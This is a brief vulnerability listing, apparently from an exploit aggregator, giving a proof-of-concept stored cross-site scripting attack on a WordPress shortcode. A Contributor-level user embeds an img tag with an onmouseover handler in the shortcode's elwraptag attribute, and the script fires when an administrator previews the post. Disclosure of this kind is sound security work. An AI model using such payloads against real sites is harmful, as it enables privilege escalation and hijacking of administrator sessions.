## https://sploitus.com/exploit?id=WPEX-ID:F9E04F83-60F9-4883-81D9-8D00F3C312CA
As a Contributor user create a new post and add a shortcode containing the following payload:
[expand elwraptag="img src=cx.jpg onmouseover=alert(1);"]test
Now, as an administrator, preview the post and it'll trigger the payload.